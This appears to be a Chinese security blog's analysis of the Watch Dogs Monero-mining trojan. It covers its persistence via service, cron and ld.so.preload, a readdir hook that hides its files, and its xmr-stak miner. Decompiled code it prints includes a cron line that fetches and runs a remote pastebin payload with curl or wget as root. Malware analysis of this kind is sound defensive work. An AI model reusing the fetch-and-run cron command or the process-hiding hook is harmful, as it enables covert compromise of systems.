<bdo id="2b3yk"><code id="2b3yk"></code></bdo>

  • <output id="2b3yk"><sup id="2b3yk"></sup></output>
    <output id="2b3yk"><ruby id="2b3yk"></ruby></output>
  • <code id="2b3yk"><delect id="2b3yk"></delect></code>

  • Watch Dogs挖礦病毒分析

    2019-02-26 47668人圍觀 ,發現 4 個不明物體 系統安全

    昨晚針對最近兩天出現的挖礦病毒進行了分析,由于太困,沒有完善好paper就睡了,沒想到第二天有人就已經發了一篇比較完善的分析報告了,一口老血差點吐了。不過,看了下他的分析報告,和我找的點基本差不多,不過其中有一些他沒有說到,比如如何找到錢包地址,以及針對挖礦程序ksoftirqds的分析,他也沒有說明,所以我在這里給一下我的分析過程。

    0×1 Watchdogs程序

    首先分析下watchdog程序。

    由于程序使用golang編寫的ida無法識別其中的符號信息,需要手動修復一下,可使用以下idapython腳本進行修復,修復后可還原一部分方法名。便于之后的分析。

    腳本地址:https://rednaga.io/2016/09/21/reversing_go_binaries_like_a_pro

    通過腳本還原符號,重命名了 3946 個方法。

    下面分析主函數 main.main():

    Main 函數中主要做的工作就是:

    1. 將watchdogs這個進程設置為系統服務

    2. 將libioset寫入到/etc/ld.so.preload中

    3. 將寫入定時任務,遠程下載挖礦文件

    4. 啟動ksoftirqds進程進行挖礦操作

    5. 更新程序

    6. 刪除一些文件(watchdogs&ksoftirqds&config.json)

    下面是詳細分析。

    主要操作預覽:

    這里是將watchdogs添加為系統服務:

    這里大概的意思是將libioset.so寫入奧/etc/local/ld.so.preload:

    這里是寫入配置信息到文件/tmp/config.json中:

    這里是寫入定時任務:

    通過查看計劃任務發現。

    每15分鐘執行一次下載操作:

    通過網頁訪問這個url發現其是一段base64加密的數據。

    Base64解密后如下。

    這里是檢查更新:

    通過tcpdump進行協議抓包分析,發現有挖礦行為:

    通過htop進行進程分析,發現會啟動以下的進程,cpu占用率極高:

    通過使用inotify監視bin目錄,發現其刪除了一個netstat命令:

    通過分析可知watchdogs可知程序執行過程中會釋放watchdogs,config.json及ksoftirqds到tmp目錄下。

    下面我們來細細的分析下釋放出來的挖礦木馬程序ksoftirqds。

    在watchdogs的中,對watchdos,config.json,ksoftrqds進行了刪除操作:

    另外為了隱藏進程信息及相關的文件信息,該病毒也對對一些libc.so中的函數進行了重寫,如readdir函數。

    主要工作:

    1、加載動態鏈接庫libc.so

    2、old_readdir =(__int64 (__fastcall *)(_QWORD))dlsym(libc, “readdir”);// 加載libc.so中的readdir函數,打開一個目錄。

    這里有一個do while statement:

    do

      {

       v4 = old_readdir(a1);                       // 使用readdir打開一個目錄

       if ( v4 )

        {

         if ( (unsigned int)get_dir_name(a1, &s1, 0x100uLL)// 調用getdirname

           && !strcmp(&s1, "/proc")

           && (unsigned int)get_process_name(v4 + 19, &v3)

           && !strcmp(&v3, "ksoftirqds") )

         {

           return 0LL;

         }

         if ( !strcmp(&v3, "watchdogs") )

           return 0LL;

        }

       if ( v4 && !strcmp((const char *)(v4 + 19), ".") )

         strcmp((const char *)(v4 + 19), "/");

      }

     while ( v4

          && (strstr((const char *)(v4 + 19), "ksoftirqds")// 判斷ksoftirqds是否是v4+19這個地址中的字符串的子集

            || strstr((const char *)(v4 + 19),"ld.so.preload")

           || strstr((const char *)(v4 + 19), "libioset.so")) );

    大致的意思是:

    如果存在v4+19 地址上存在ksoftirqds,ld.so.preload,libioset.so,則檢查指定目錄:

    是否存在ld.so.preload文件

    是否存在ksoftirqds的信息

    是否存在watchdog的信息

    這里是重寫了readir函數,作用是,如果程序使用了該函數執行后,結果中包含惡意應用名稱及路徑,則不返回相應結果,起到隱藏作用。

    另外程序也對rmdir函數進行了重寫,防止惡意程序的文件被刪除。

    這里是重寫的函數列表:

    其中作者不僅在access中做了隱藏操作,進行了寫入計劃任務的操作:

    這里是寫入定時任務:

      s =fopen("/etc/cron.d/root", "w+");

      if( s )

      {

       fwrite(

         "*/10 * * * * root (curl -fsSLhttps://pastebin.com/raw/sByq0rym||wget -q -O-

         1uLL,

         0x75uLL,

         s);

       fclose(s);

      }

    0×2 針對ksoftirqds的分析(挖礦)

    如果我們想分析ksoftirqds的話,需要將tmp目錄使用chattr +a /tmp命令鎖住,這樣可以防止這些文件被刪除。

    通過分析發現,這個木馬文件也是用upx加殼的,我們使用upx工具執行:upx-d 即可脫殼。

    下面使用ida進行源碼分析。

    首先使用ida的字符串檢索功能,找到如下礦池地址:

    搜索xmr.f2pool.com,跟入并尋找引用位置。

    找到了錢包錢包地址:

    它是在do_guided_pool_config這個函數中的,這里做礦池配置。

    Main()->do_guided_pool_config()

    通過分析該木馬使用的是一款名叫xmr-stak的挖礦程序:

    它的項目地址地址在 https://github.com/fireice-uk/xmr-stak

    對象的github項目的特征位置:

    這款挖礦系統除了能夠挖掘門羅幣,還能夠挖掘以下的虛擬貨幣:

    watchdogs 中寫入定時任務,釋放ksoftirqds進行挖礦,并每個15分鐘檢查更新。

    ksofttirqds 程序主要是使用xmr-stak挖礦程序挖掘門羅幣。

    其礦池為:tcp://xmr.f2pool.com:13531

    錢包地址為:46FtfupUcayUCqG7Xs7YHREgp4GW3CGvLN4aHiggaYd75WvHM74Tpg1FVEM8fFHFYDSabM3rPpNApEBY4Q4wcEMd3BM4Ava.tenx

    *本文作者:鄭斯碟@默安科技,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。

    Loading...
    css.php 宁夏卫视在线直播观看